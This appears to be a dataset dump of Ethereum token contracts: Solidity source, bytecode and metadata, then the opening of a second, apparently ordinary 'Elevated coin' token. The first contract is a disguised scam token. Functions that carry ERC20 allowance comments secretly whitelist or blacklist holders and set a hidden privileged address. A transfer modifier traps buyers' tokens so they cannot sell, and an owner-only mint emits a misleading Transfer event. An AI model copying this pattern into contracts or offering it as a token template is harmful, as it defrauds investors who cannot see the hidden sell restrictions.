* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ca16bb374740bd8143de9ac48cb69878a2f91c1add10d5ec4c3d3ac2a7da1a2a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,428 |
0xa8751aabbe7af1738efa644b12d5a1b0841b7c84
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Elevated coin' token contract
//
// Symbol : ELV
// Name : Elevated coin
// Total supply: 30 000 000
// Decimals : 14
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
